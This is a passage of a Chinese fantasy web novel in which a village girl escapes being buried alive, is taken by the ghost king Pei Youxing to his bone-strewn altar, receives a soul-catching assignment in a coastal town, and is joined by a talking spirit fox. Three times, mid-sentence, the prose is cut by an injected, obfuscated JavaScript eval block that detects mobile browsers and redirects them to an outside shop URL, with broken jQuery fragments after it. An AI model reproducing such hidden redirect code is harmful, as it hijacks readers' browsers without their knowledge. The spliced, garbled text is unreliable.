梁成姐夫立刻应下,抄起锤子和钉子就走向沈照水那口棺材。粗糙的双手按向沈照水,想要将她活活钉死在棺材里。
“弟妹对不住了,我弟弟就在下边,也别叫他久等了……”
沈照水尖叫一声,扭身一躲,身上掉出来个硬东西。
缉魂令牌。
莹莹晶绿的令牌赫然提醒她:她不是做了场沉梦,是真的入地府游了一场。
她已经不是从前那个无人在意的沈照水了。
“等等!”沈照水双臂推挡梁成姐夫,一张小脸使力涨得通红。
“村子里闹鬼,我可以查出来!”
死了人便有魂,她可以去找;就算他们已经投胎转世,无稷山上那位也可以借着地府的脸面问一问。
总之,她有办法的。
沈照水细细的嗓子挣扎着说出石破天惊的话,梁成姐夫不相信,只道是这妮子为了逃死而胡言乱语,手上力气加得更重,一把攥住了沈照水胳膊,疼得她两条腿在棺材壁上乱踢。
“砰——”
下一瞬,一道除了沈照水无人可见的白光自门外直冲着梁成姐夫胸口而去,将人重重摔向梁成的那口棺材。
一时间棺材翻倒,梁成的尸身落了出来压着他姐夫。梁成姐姐大叫一声,赶紧去看。却见丈夫五官扭曲紧皱,口吐鲜血,已然没了气息!她双腿一软,立即伏尸大哭。
沈照水傻愣愣眨眼,缓缓转头看向门外。
一个身量极高的男人,青丝垂散,双臂抱抄,赤裸裸站在阳光之下,任由刺眼亮日如匕首穿过他半透明的身体。
那双漆黑的眸子冷冷看着她。
不说话,似在等她的反应。
“裴……裴幽行……”
沈照水吓傻了。
不是说不管她吗?怎么……还亲自来了……
见沈照水许久没动作,裴幽行等得不耐烦,直接飘了进来,围着她的那口棺材转了一圈,最后在她面前定下,弯腰,凑近一瞧。
“嘁,丑死了。”
死人装扮总是惨白一张腻子脸,擦着两团红彤彤的鸡蛋胭脂,配上一张吃了血似的嘴,能不丑吗?
沈照水低低扭过脸,既是避丑也是害怕。
裴幽行靠她太近,近得能吃掉她脸上的胭脂……
“这些猪狗,要杀吗?”
沈照水心脏乱了一拍,下意识摇头。
虽然在这个家她过得不好,但毕竟爹娘养育了她一场,没道理她恩将仇报,好聚好散就成。
裴幽行一抬手,堂内忽然刮起一阵妖风,卷得火红的喜字花纸和大红灯笼齐齐乱飞,贴在沈照水爹娘的老脸上。
强风呼啸,他们几个站都站不稳,最后竟然直接被刮飞了出去,不见踪影。
“不动是还想留在这里?”
“啊……我……我没有地方去……这里是我的家。”
“去孤那里。”
裴幽行揽住沈照水的腰要将她带走,沈照水突然大喊:“等一下!”
她退离他几步远,跑去厨房水缸处舀了一勺水蹲在檐下,双手捧着清水搓脸,白白红红的泥水自她腕口成股流下去,啪啦滴在地上。
裴幽行轻笑了下。
人笨笨的,却还知道妆丑的羞人。
沈照水搓了好一会儿,双手离开脸颊飞快甩干净水珠。
一张粉面白净,桃儿似的脸露了出来,在阳光下甚至能看到双颊处绒绒的短毛。
那双眼睛生的好,窄而长的薄双眼皮,褶皱尾部浅浅飞出,灵动纯净,像桃叶上晶亮的露珠。
沈照水望了过来,裴幽行接收到她目光后慢慢转头看向远处乡野青山。
他的眼珠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991920|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在阳光下很是惹眼,泛出一种灿烂的棕金。
沈照水看到鬼王大人瞳孔正在不自然地移动,仿佛是在描摹山的轮廓,又像是在遮掩。
虽不理解他,但她看得一清二楚。
“大人,我可以在这里再待一会儿吗?”
裴幽行忙着看山,不搭理她。沈照水当他同意。于是转身回了厨房在灶台上生火。
翻找了一圈见笼屉里还有馒头,三瓢水舀到锅里,上汽便把把笼屉蒸上,自己坐在烧火小凳上往灶里塞干草。
她饿了。
虽然当了阴差,但她白天还是生人,会累会饿会渴。
沈照水依旧得为三餐奔忙。
蒸笼沿缝处跑出滚滚白烟,望着望着,思绪慢慢回到小时候。
她不喜欢吃馒头,喜欢吃包子。包子有肉,但家里很穷,所以顿顿啃杂粮馒头。
小时候有一次上街,她和爹走散了,一个人闻着味道走到包子摊前。
蒸得透油的包子,肉、油、面三种香气揉在一起,被寒冬凌凌的刀风切下来,掉到小照水身上,她记得当时是怎么一口一口咽的口水。
香气和馋虫打败了走失的恐惧,小照水在笼屉边眨巴眨眼,不希望天上掉馅饼,希望天上掉包子。
后来太阳倒下去,靠在街道边的屋脊上,父亲终于找到她,气冲冲怒喝一声,一把扯住她的手腕,生疼,给她骂骂咧咧拉回家。
小照水没有吃到包子,但从此以后认为包子一定是天底下最美味的食物。
她原打算守寡后开家包子铺来着。
馒头蒸好了,她拿来一张帕子,趁热包了三个揣怀里,烫!但不得不揣。
裴幽行一看就不食人间烟火,她得为自己的肚子做打算。
出了厨房,他还站在那里看山。
沈照水手里拿着一个馒头,试探性递给他:“大人吃吗?”
他像看小蚂蚁一样看了眼她,冰冷的脸色仿佛在说:“你傻吗?”
果然!
嘿嘿,那正好这个馒头归她了。
沈照水暗喜着咬了一大口。
裴幽行施施然走了过来,浅露出点声音。
“主意还挺多。”
没等沈照水反应过来,他一手扣住她肩膀,几乎是在弹指之间,眼前景象便不是沈家的小屋子,而是一处宏大而破败的无名之处。
这里的光线红暗,浮尘飞转,仿佛一切泡在血水里。到处都是断壁颓垣,倒鼎颓钟,像是战场,又像是……祭坛?
沈照水脚下一动,发现自己踩着的是一层一层的白骨!
人的骨头!
“大人,这、这里就是你的地方?”
沈照水馒头差点没咽下去。
她赶忙调整视线,看见远处一个低矮但极为广阔的锥形土堆,最高处围了一个池子似的圆坑。
裴幽行带她飞去那里。
刚一落地,沈照水一眼看见坑底躺着具骷髅。
“啊!!!”
她手里馒头滚落在了骷髅腹部。
"今日起,我们住在这里。”
“什么!”沈照水一急,眼底泛出泪花,"这里怎么住人?连张床都没有,睡都没法睡……”
"如何睡不得?”
裴幽行头颅微偏,望着沈照水疑惑道:“三千年来,孤都是在这里睡的。”
“躺在你的骷髅里,很好睡。”
沈照水神魂一激,声如游丝:"谁的骷髅……”
"你的。三千年前,你的。”
沈照水一屁股摔坐在坑边,怀里的馒头都烫不热心坎。
她知道为什么这鬼王看上她了!
感情是给自己找枕头啊!
“哇——”沈照水一嗓子哭开,趴在地上连磕头求饶都忘了。
死了死了死了……这下子真的要死了!
裴幽行眉头皱了皱,按了一下太阳穴。
这沈照水到底属什么的这么能哭?
他想拍拍沈照水的肩膀,但她惊惧得发抖,见他伸手立刻躲了,不让他碰。
裴幽行犯了难,女人要怎么哄?
不过现在不是思考这个的时机。
“你安心待在这里,孤还有事。”
说完他又一次没了踪影。
沈照水的哭声痛彻寰宇,一想到坑底的骷髅就是自己的下场,顿时倒在坑边,得了软骨病般没力气。
藏在袖子里的缉魂令牌掉了出来,咣当一声磕在地上。
楚江王的话忽然在脑海中回想。
“沈姑娘可知三千年前我酆都地府被鬼王抢去了一方鬼印,至今下落不明。”
“那鬼印可统帅我地府鬼兵,也可支配魂魄去向。”
“若姑娘肯帮我们找到鬼印,我们便不会再受制于裴幽行。界时无论是轮回还是返阳,都由姑娘决定。”
这便是她接下的那个忙。
明修栈道,暗度陈仓。
可裴幽行真的会留她到找到鬼印的时候吗?
悬。
沈照水呜呜哭着,哭得脑袋里绷着的那根弦断掉,声音减弱,睡着了。
4. 大白狐狸
昏黄月亮滚了一圈毛边,挂在乡长家院子里的枯树枝上,被柴垛旁栓着的黄狗汪汪一叫,仿佛抖了抖。
纸窗亏心似的紧拢着,屋子里摇晃烛光拉出两个人影。
乡长老婆徐氏头上带着孝巾,袖口贴着面颊,眼泪擦了又擦。
“儿啊,你爹死的这么蹊跷,真就不报官?”
“他平日里是对你严厉,可谁让你滥赌……他是为你好。现在就这么草草葬下,你爹能闭眼?”
儿子张守德坐在炕上,一手端着烟枪,一手悄捏腰上钱袋。
前些日子从一个老婆子和两个小崽子那里吃了钱,这兄弟倒还肚饱;可两三盅骰子下来,吃了多少都给吐干净了,光朝张守德“咕咕”叫,他哪里还有余钱给他爹报官打点?
况且……抢钱还杀了三条人命的糊涂事是他干下的,难道自己要跑去见官?万幸他爹替他瞒了,找了个山鬼作祟的名头;现在既然他爹也死了,那不赶紧埋下了事?山鬼担了三条人命,正好多担他爹和轿夫的。
张守德叭了两口烟,混着满肚子打算从鼻子里喷出。
“就我爹那个惨状,谁敢管?定是他惹了山鬼老爷,脑袋才被活生生扯下来!”
“我们不息事宁人,还要找山鬼老爷报仇?咱俩脑袋也不要了?算了算了……”
“爹的丧事还没个尾呢,娘,你再贴我点钱……”
母子俩静静商议着乡长的后事,徐氏见儿子又问她摊手要钱,照例埋怨了他两句,右手摸向自己怀里。
三颗散碎银子,在烛光下微闪着冷冷细光。
张守德一下子喜笑颜开,烟枪一丢,双手捧着接过。
银子在手心相撞,小石头似的啪嗒响,像骰子转起来的声音。
张守德高兴着,忽然手中“滋啦”——
银子烧化了!
滚烫的银水倾刻间把那双滥赌、杀生的手烫了个皮开肉绽骨露出。银水溅落出去,掉到张守德肚子、腿上,见肉便钻,活活把人烫穿,一身都是虫眼似的血洞。
“啊啊啊啊啊啊——”
张守德痛得翻身从炕上滚下来,摔在地上又痛呼一声。
“儿啊,你这是怎么了!”
张守德被银水烫得痛不能言,只能在地上蛆爬找凉水冲身。然而爬着爬着,视线里凭空出现一角黑袍。
屋子里多了一个长发及地的阴森男人。
“你你你是谁?”
男人微微偏头,一双死寂寂的眼睛冷得非人。
“孤么……”
他苍白弯唇,不是笑,而是一种恶趣味的逗弄。
“无稷山鬼。”
他在无稷山底和她的尸身一起沉睡了三千年,不问朝夕,不理红尘,甫一睁眼居然被这腌臜父子泼了一次又一次脏水……
三千年太久,人类连他这杀神也忘了。
张守德母子被他的回答吓得毛骨悚然。
他母亲刚要大叫,裴幽行一个响指便让她昏死过去。
至于张守德……
“山鬼老爷息怒!山鬼老爷息怒!”
张守德磕头磕得震天响,□□里稀稀汤汤流出水来。
裴幽行微微下腰,一手掐住他脖子,但没用力。
“说起来,还要多谢你们父子把她送上无稷山。”
张守德冷汗成雨,仅剩的一点理智让他抓住一点救命稻草。
“您是说沈家那个沈照水?”
沈照水今日死而复生。
村子里小,这件奇事不到半日便传开了。
“是不是那妮子苟活,惹山鬼老爷生气?不碍事不碍事,我是乡长儿子!我出面让人把她弄死,照旧……”
“咔嚓”一声轻响。
张守德颈骨粉碎。
裴幽行眉头下压,眼神烦躁。
“找死。”
她的名字,她的性命,从这种猪狗嘴里过一遍他都生气。
脑海中忽然想起他追至黄泉路口,沈照水孤零零站着被阴差羞辱时的场景。
他不在,她尽挨欺负。
一股无名野火在心头烧起,迅速扩散至全身。
裴幽行五指按住张守德头顶,旋转,旁拧,新鲜的血液从脖颈处喷洒,穿过他虚无的手,溅落在地上。
张守德脑袋也□□脆利落摔在地板沾血处。
视线望向一旁昏倒的张守德母亲,裴幽行缓缓走过去。
一家三口,地府团聚好了。
手指刚刚抬起,顶着张死人妆裹的“丑脸”沈照水却忽然浮现在眼前。
她摇头。
她不喜欢赶尽杀绝。
“啧,真讨厌。”
又弱又怂,还优柔寡断。
最讨厌了。
裴幽行转身飘出屋内,化成一道黑影风似的越过天际圆月。
直至远远可见群山峻岭,天地间忽然自上而下闪出一道护法屏障,金光闪闪,隔绝前路。
是宴漆之境的大门。
许多年前居住在宴漆之境的灵狐一族可以自由往来人间。但由于族中最小的孩子在人间闹出了点事,天帝降罚,亲自设下屏障,从此断绝宴漆与人间。
前路被挡,裴幽行略微抬手挥袖,那屏障不攻自破。
一入宴漆,天光大亮,青峰袅烟,溪池争鸣,天地灵气祥和纯粹,正是上等的福地仙境。
原野之上有几只打滚的灵狐,见天帝的屏障被破,一瞬间目瞪口呆,愣在原地,眼睁睁看着裴幽行飞向宴漆深处。
“那是……鬼王大人!”
“我们要不要告诉长老?有危险!”
“哎呀你傻呀,鬼王大人肯定是来找崽崽的,他们俩的交情有什么危险?”
发话的狐狸言毕一愣,忽然意识到了什么。
所有狐狸脸色沉沉,一齐道:“堕恶之后性情大变,难保诶……”
“快!快找长老!”
——
一处溪水,日光下照,流动跳跃着无数光鳞,绕着其间一块淡青色的圆滑大石头哗啦流过。
石上,一只毛白蓬松的大狐狸正四仰八叉晒着暖融融的日光。灿烂亮汪的棕赤瞳孔微微缩着,困意浓重。
宴漆之境不会有夜晚。天地爱护灵狐,于是创世之初专为它们设置了这一片永昼之地。
让每只灵狐都可以快乐地晒太阳。
蓬大华丽的尾巴,根根狐狸毛都闪着光泽,大白狐狸轻轻将尾巴盖住狭长妩媚的双眼,正要好眠——
“啊——尾巴尾巴尾巴!痛痛痛——”
大白狐狸不知被谁抓住了尾巴根,眼前宴漆的山水统统翻转过来,它四肢乱刨,身体抗争。
“哪个不长眼的敢扯小爷尾巴!”
“放爷下来!看爷不把你毛都揪光!”
“诶?”
一阵扭动间,它终于转过了头,缝细一般的警觉瞳孔忽然圆溜溜。
“裴幽行!”
裴幽行只手倒拎着它,情绪与狐狸完全相反,一双眸子平静如古井。
“跟孤走。”
“走?去哪里?三千年不见,头一次重逢,你不讲讲近况?他们都说你神陨了,还有的说你被天帝关押了……”
“天帝?他那位置都是孤母神创立的,他敢动孤?”
裴幽行鼻嗤一句,扫了眼手中倒挂的大白狐狸:“是留在宴漆,还是随孤去人间?”
“嗯……怎么也是个离开家乡的重大决定,给我点耐心等我考虑——唉别!”
裴幽行没耐心听它支吾,松开它尾巴就要甩开,狐狸眼疾爪快攀住他手臂,尾巴紧紧圈住他。
“跟跟跟!没说不去啊!留在这里也是坐牢,还是去人间痛快!”
尖尖的狐嘴往外一撇,它偷偷嘟囔:“我是你半个发小诶,居然甩我……”
认识堕恶之前的裴幽行,可不算是半个发小?
虽然这位的身份高不可攀,但大白狐狸有自己的辈分计算法。
它当族中小幺当了几千年,大家都溺爱它,但狐狸很有志气,它从前在人间学了一句人话:“大丈夫怎可久居人下?”
狐狸很喜欢,把这话当座右铭。虽然那时裴幽行说“少学那些混账俗物的话,世间万物本不应争高低。”
“我们去哪里?”
“问你。”
“啊?”大白狐狸狭长的睫毛一抖,“从上次惹祸之后我再也没出去过,你问我?”
“孤的身体在哪里,我们就去哪里。”
?
狐狸冲着裴幽行上下一望,弱弱问:“你的……肉身?”
“你堕恶的时候直接丢了啊!现在想找回来,早干嘛去了??”
裴幽行的那场堕恶惊天动地。
千万年来有的是仙者道者堕恶,因为修炼走火入魔的人数不胜数。
但神者堕恶,裴幽行是第一个。
他甚至自弃肉身,一心要和天地共毁,以求身为神明的死亡。
那时如此决绝,如今怎么又转变心意?
“孤等到她了。”
裴幽行淡色的唇动了动。
“她想要过日子,孤得有身体陪着她。”
狐狸吃惊大张着嘴,哑了。
“帮孤找到肉身今在何处。”
狐狸陷在惊讶里久久不能自拔。
一个消失在三界之中的女人,还能真等到?!过日子又是哪一番?等会儿……
“裴幽行!你把小爷当狗用啊!!!”
几只白鹭被声音惊扰,在栖息苇丛间腾翅而起,划过宴漆大大小小的翠绿山丘、明澈湖泊,落于一方小小水田。
“长老!观鱼长老!鬼王大人把崽崽带走了!”
水田坎上,一只赤狐从竹藤椅上惊起,披着的蓑衣掉了一半在水田中,稻花养的鱼儿三三两两围来啄食。
赶来通报的几只年轻狐狸蹲着喘气,注目于族中最有本领的赤狐,观鱼长老。
观鱼长老皱眉望向被规则划分为八块的水田,掐诀念了个咒,静等田中鱼儿给它指示。
鱼尾哗啦波动,几滴水珠落到了厚实的赤色狐毛上。
“长老,怎么样?要不要把崽崽追回来?”
观鱼长老抖了抖耳朵,沉思片刻,最终长长叹了口气。
“儿孙自有儿孙福,放它去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991921|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吧。”
——
腥咸的海风呼啸而来,漆黑的天幕上仍然是那轮凄清的月亮。
狐狸绒毛斜飞乱摆,它没来得及顾,鼻子尖往前点点,声音无比认真:“在海底。你的肉身在海底,我闻到了……”
它心里复杂,和裴幽行对视一眼,四目皆是疑惑。
对啊,怎么会在海底呢?
裴幽行堕恶之处分明是拂国祭坛,不是这里。
谁有这功夫把他的身体封在了冰冷森然的海底?
“好好等孤”,裴幽行轻轻放下狐狸,“取回身体后,我们回祭坛。”
“还有要我帮忙的事?”大白狐狸看看天色,海线就快露出曦光了。
它有点后悔离开宴漆的时候没跟观鱼长老说一声。它老人家一定会担心的。
裴幽行顺着狐狸脑袋一路摸到尾巴尖,想了想自己的打算,还是决定把狐狸带去之后再告诉它。
以防它咬自己一口再跑掉。
日光铺满粼粼的幽蓝海面之时,神魂与□□合而为一的裴幽行抱着狐狸回到无稷山底。
“你这身体……”狐狸在他怀里瑟瑟发抖,“拿回来也没什么用,海底泡了三千年,冰得要命!谁家姑娘会喜欢?”
“诶?原来拂国祭坛如今都变成一座大山了啊!”
“小声点。”裴幽行拍了拍狐狸脑袋,“她在睡觉。”
狐狸嘁了他一下,轻巧跳下他死气沉沉的冰冷怀抱,停在池坑旁。
小姑娘稚气未脱的脸庞满是泪痕,一双眼睛都哭肿了,睡着了还皱着眉头。
“确定是她?”
裴幽行指头一动,姑娘右脚腕上亮起莹莹紫光。
“定魂铃在这里。”
“她被奸人暗害送到无稷山,孤送她的定魂铃震动,叫醒了孤。”
“那她知道三千年前的事吗?或者说,她自己的上一世?”
裴幽行静静注视着姑娘,默声摇头。
狐狸若有所思,咂咂嘴应道:“嗯。过去的事就过去吧,没什么好回味的,一切重新开始。”
“……你带我来就是让我见见她?”
裴幽行微不可察挑了下眉,视线暗暗挪开。
“她不喜欢随地而睡,你的毛软,给她当床枕枕。”
“裴幽行!你欺狐太甚!!!”
“小声点。”
也许哭了太多太久,沈照水睡得脑袋沉沉,梦也千奇百怪。
一会儿梦见自己站在包子铺前,一会儿又梦见投胎的梁成做了只耕牛。
甚至梦中自己脸侧长出一片茸毛,暖和又柔软,带着点溪边青苔的甘冽气息。
沈照水抬手一摸,嚯!好一大片白毛毛!
还是活的!
她正躺在呼吸起伏的白色皮毛间!
“诶!你醒了!”
毛毛的本体有颗湿漉漉的黑鼻子,笑着过来拱她。
沈照水一辈子没见过这么大只还会说话的狗,愣得不敢动。
狐狸见她醒了,四爪撑起抽出了身体,一抖便恢复了不当床的正常体型——然而还是胖,沈照水目不转睛看它半天,末了低声思考:
“梦里的小狗得多难养,这么肉嘟嘟。”
狐狸咧开的嘴巴一下子合上。
毛都耷拉下去了。
坐在池坑边的裴幽行终于良心发现,指头点了点沈照水的脑袋。
“不是梦,它也不是狗,是灵狐。”
真的不是梦吗?
沈照水看看它又瞄了眼裴幽行。
好像一觉睡醒,裴幽行也有点不一样了。
“对!小爷可是灵狐一族里最最漂亮蓬松的一只!”
狐狸昂起头,傲得不得了,眼睛眯成得意的小钩子。
沈照水不自觉伸手摸了摸,用往日在村里跟其他小狗说话的温柔语气问:
“我叫沈照水,你有名字没有?”
幸好,灵狐也吃这一招,并不知道沈照水看它依然如狗狗,还用力蹭着她的手心。
“它叫崽崽。”裴幽行眼见着狐狸痴迷被撸无心回答,冷冷替他回了一句。
装的。
他摸的时候它怎么不蹭?
“不!”狐狸冲着他龇牙抗议!
“那是族中长辈喊的小名。”
它从沈照水手底下绕出,学着人的模样清清嗓子,很正式:
“我叫花衣轻,‘衣满旧芸香’的衣,‘笑里轻轻语’的轻。”
沈照水眼中散出点点星光。
灵狐真灵啊,还会吟诗!比她这乡下的半个文盲好。
她望着花衣轻笑,又喜欢它又羡慕它。
还没多摸摸,沈照水怀里忽然有东西发起了亮光。她吓一大跳,赶紧往外掏。
缉魂令牌亮如星芒。
不远处,地底冒出来个无形的影子,弹指间凝结成一个差吏的虚像,对着裴幽行深深一拜,转而对沈照水一拱手。
“沈姑娘,楚江王给您派了档缉魂的差事。”
“东海苍平镇近五十年来无故消失了众多魂魄,阎君派您去找找,将众魂引渡回地府。”
5. 活死尸
东海苍平镇……
阴差走后,沈照水口中念念。
缉魂令牌的光芒暗了下去,但在她手中被攥得更紧。上面八个字严丝合缝贴着她的掌心肉。
她是个没见过什么世面的乡下姑娘,还是个瘸子,最远也就是卖花的时候从村子走到过小县城,哪里知道苍平镇在哪里?
沈照水脑袋发闷,愣坐在圆形池坑边。一阵腥涩的尘风吹过,她那身艳俗的新娘红裙波浪似的飘晃。
像她心里的盘算。
要找到鬼印,肯定得问裴幽行。可这恶煞一心强迫自己和他在一起,倘若知道她一得鬼印便去轮回了,定然不会放过她。
只能来软的。在保护自己的前提下一点一点靠近他,把鬼印的下落套出来。
沈照水从怀里摸出一个馒头来,掰下一半递给花衣轻,怯怯道:“你饿不?我只有这个,吃吗?”
花衣轻眼神一聚,鼻尖嗅嗅,轻巧咬下了她手里那半个馒头。
一人一狐在白骨成堆的祭坛处嚼嚼嚼。
“照水,你真要去苍平镇缉魂?”花衣轻边咽边问。
“缉魂可不简单。只有逃逸的亡魂才需要缉拿,凡不肯转世投胎的又都是些嗔鬼、痴鬼,想抓住他们,光找鬼就得花一番功夫。”
沈照水双眉高扬,一副“原来如此”的震惊模样。
嘴里馒头迅速赶去腮边噎着,怀里剩下两个馒头也全给了花衣轻,她极度真诚:“那小狐狸,你会找鬼吗?”
花衣轻摇摇头,“我没和鬼打过交道。”
话音刚落,狐狸脑袋突然惊喜一转。
“诶,你不就是鬼!”
在旁一直没说话的裴幽行闻言飞它一眼,狐狸立刻缩脖子。
“额……现在确实不是了……”
“不是鬼是什么?”沈照水想也没想便问出了声。
在地府时裴幽行抱过她,他分明没有人的实体。
“啊呀!”噎着馒头的脸颊忽然被什么东西冰了一下,沈照水心脏乱跳,定睛一看:
是裴幽行苍白泛青的手背贴了过来。
他……那手背是硬的,非常凉,有突出的骨节,血管,和皮肉……他有身体了?
裴幽行站在池坑边,居高临下看着歪坐的沈照水。
那双漆黑的眼睛原本寂静如夜,但不知怎么的,沈照水依稀看到了一点活人般的雀跃。
……好诡异。
估计自己在他身边神经太紧绷,看错了。
她赶紧别开了眼睛。
“准确来说,他现在是活死尸啦,能动的死人。”
狐狸咯咯笑,爪子刨了刨裴幽行那身织金黑袍。
“裴幽行,你本事那么大,陪照水去看看呗。”
顺便增进一下感情,这可是大好机会!
花衣轻朝他挤眉弄眼,希望这具活死尸能懂得半个发小的苦心。
眼见话头扯到裴幽行身上,沈照水立刻低下头去,指尖一下下捋着缉魂令牌的流苏,仍然是害怕他的样子。
嘴角暗暗上翘又飞速放下来。
成了。
裴幽行不会放她出去,这个提议委托与他相识的花衣轻来说成功性更大。
“孤为什么要陪她出去?”
裴幽行看向腿边的狐狸,微微偏头。
他脖子还僵硬着,动作不流畅,配上那张雌雄莫辨的精致脸庞,鬼气森然。
“和她永远在这里,不可以?”
“?这是喜欢女孩子的正经办法吗!”
这个裴幽行,怎么还搞“囚禁”!
花衣轻恨铁不成钢,下一瞬却福至心灵。
堕恶之人性情不受控制。裴幽行丢弃身躯,还多了个五感具灭,想要和照水这个人类在一起何其困难?
他千里迢迢把自己拎过来,不是真要它给照水当睡眠娃娃。
有些情绪和心意,只有它能帮他说。
花衣轻叹了口气,转身绕着照水好言哄她。
“裴幽行不是那个意思。”
“地府突然给你一桩差事,我看其中没那么简单。要不咱先稳两天……?”
“可是你吃完了我的馒头,我不出去做阴差,会饿死。”
“什么?!!!”
沈照水声音弱弱的,在花衣轻耳朵里却是平地一声雷。
馒头给它吃没了?啥时候的事啊?!
沈照水说时迟那时快,双臂紧紧抱住蓬松的大白狐狸,一脸埋进去痛哭。
“小狐狸,人饿肚子很难受的,饿死会更难受……”
花衣轻隐隐觉得自己掉入个陷阱,一双眼睛到处乱瞟,又慌张又尴尬。
忽然,它看见裴幽行笑了一下。
他默不作声,但眼神分明在说:
上当了吧。
这是个满肚算计的坏女人。
花衣轻翻他个白眼——那你还非要和人家在一起?三千多岁了,结果还是一颗一点即燃的少男春心。
“还愣着呢?别怪我没提醒你,她一饿死,你又不知道要浪费多少年!”
——
苍平镇近海,一入城中,四处皆是海风气味,在屋内角落中侧耳静听,传来的都不是人户耳语,而是呼呼涛声。
沈照水开始几天还闻不惯这咸涩的气味,但一日日穿梭在苍平镇的大街小巷里却不见一点魂魄踪迹后,她烦得一点闲心都没了。
空气里加点咸也不错。
夕阳灿烂,整个苍平镇像撒了层碎金,街上两侧青瓦屋檐都闪着微晶,下挂着各色灯笼,暮色中盏盏亮了起来,在海风中轻轻晃动。
沈照水不自觉摸向怀里的缉魂令牌。
阎君告诉过她,世间只要有亡魂,令牌便会发光,为阴差指明魂魄藏身之处。
可自来了苍平镇,它就再也没亮过!
这里真的有大量亡魂没有归入地府吗??还是说她的令牌坏掉了?
整整六天了,再没个结果,她都不好意思回家——裴幽行在苍平镇外变出的一座小宅。
他同意放沈照水出来,但却抱着花衣轻守在宅子里,似乎打定主意要看她吃苦头。
偏是这样,沈照水心里越攒着股气。
她还没遇见真事呢,如何能看扁她?
第六天失败便失败了,第七天大可以重新开始!
沈照水彻底放宽心。路过一个小布摊,看见摊上有一团粉色绒线。
给花衣轻做个毛球玩正合适。
虽然裴幽行又冷又凶,但自称他半个发小的花衣轻和沈照水很是投缘,没两天就熟得穿一条裤子。
她来苍平镇后当掉了阴婚嫁衣,它不值什么钱,光置办件不惹眼的普通衣裳后就所剩无几。
但沈照水仍然付了绒线钱。
“咳咳咳……多谢姑娘!”摊主收下钱还没来得及装入钱罐中,握住那几个铜板便咳嗽。
一声声咳得小摊都震动。
他见眼前这姑娘停留不走,双目注视自己,一下子羞赫。
“姑娘别担心,我这不是什么大病,只是寻常风寒,绝不影响摊上出售的货物……”
沈照水缓慢眨眼,拿着绒线灿然笑问:“老板,请问苍平镇有什么医馆专门接收重症的病人吗?或者……医术不佳,救治不力的差医馆?”
“嘿姑娘,你这问题问的!”老板忽然挺直腰板,眼神里满是兴奋与底气,“是外地来的吧?”
照水点头,“正是。”
他摇着脑袋朝她炫耀:“差医馆我们苍平镇可没听说过!”
“有青玄君坐阵的陈氏医馆在,我们好几代人没生过大灾大病!”
“你要找能治重症的,就去那里找青玄君。”
“这位医师这么神奇?”
“医师?哈哈哈不是,是天上掉下来的神仙!”
粉色绒线由三小束合拢成一把,分量不轻。沈照水一路握着它往陈氏医馆去,走到医馆所在小巷口,手腕都僵了。
巷口有一颗老槐树,纷纷扬扬撒了满地白花。
她躲在槐树背后偷偷张望,一手摸着怀中令牌。
摊主的咳嗽点醒了她。
既然找不到旧魂,那就追寻新魂。
苍平镇过去五十年不停的有魂魄消失,这个现象不会突然终止。
天上掉下来的神仙?沈照水不信。
小时候在村子里常听到精怪披皮吃人的故事。
她得万般小心,先观察一下。
日色已晚,张望了没一会儿,医馆的条状木板门便一张张卡上,关闭了。
看不清门后动作的是何人,但,缉魂令牌依旧没反应。
说明至少这里没有魂魄,是平常的凡间。
“明天再来……”沈照水对自己说。
“把花衣轻带上。”
多一个帮手总稳妥些。
她一转身,医馆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991922|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
关闭的门忽然被拍得砰砰响。
“青玄君在吗?有人在吗?开开门……”
那声音苍老至颤抖,带着浓厚的哀求。沈照水回头,是一个衣着单薄,拄着根破烂枝条老爷爷半跪在医馆面前拍门。
他跪下的那条腿有条长长的紫红伤口,血肉清晰可见。
要是不赶紧医治,估计整条腿都保不住。
沈照水右腿没来由抽动一下,感同身受。
“老人家,你这是……”她走上前搀扶他,尽力让老人能坐着。
老爷爷一见有人来,立刻红了眼眶。
“姑娘,你能帮我喊一下这医馆里的青玄君吗?我是隔壁镇专门赶来的,想找他看看我的腿伤。”
沈照水打量一番眼前的陈氏医馆。它前临小巷,后接小院,里头还不知道套了多少回曲,想来是行医救人与家庭居住合而为一的。主人走进后院,他这两个老弱在外头喊是根本听不见的。
“这样啊……”老爷爷难掩失落。夜风一吹,他裹了裹身上的衣服,缩在门口。
“不碍事。姑娘,夜快深了,你回家去吧。我在这里等他天亮开馆就好。”
老人家很担心再晚点她一个小姑娘家不安全,一个劲儿劝沈照水快些回家。
可是……这陈氏医馆尚不能判断是否有异,老人家又如此虚弱,万一今夜……
沈照水摇摇头,双手搀起老爷爷。
“老人家,我明日也要来找青玄君,你先跟我回去,明天我们一起过来好吗?”
老爷爷感激涕零,眼泪刷一下掉下来。
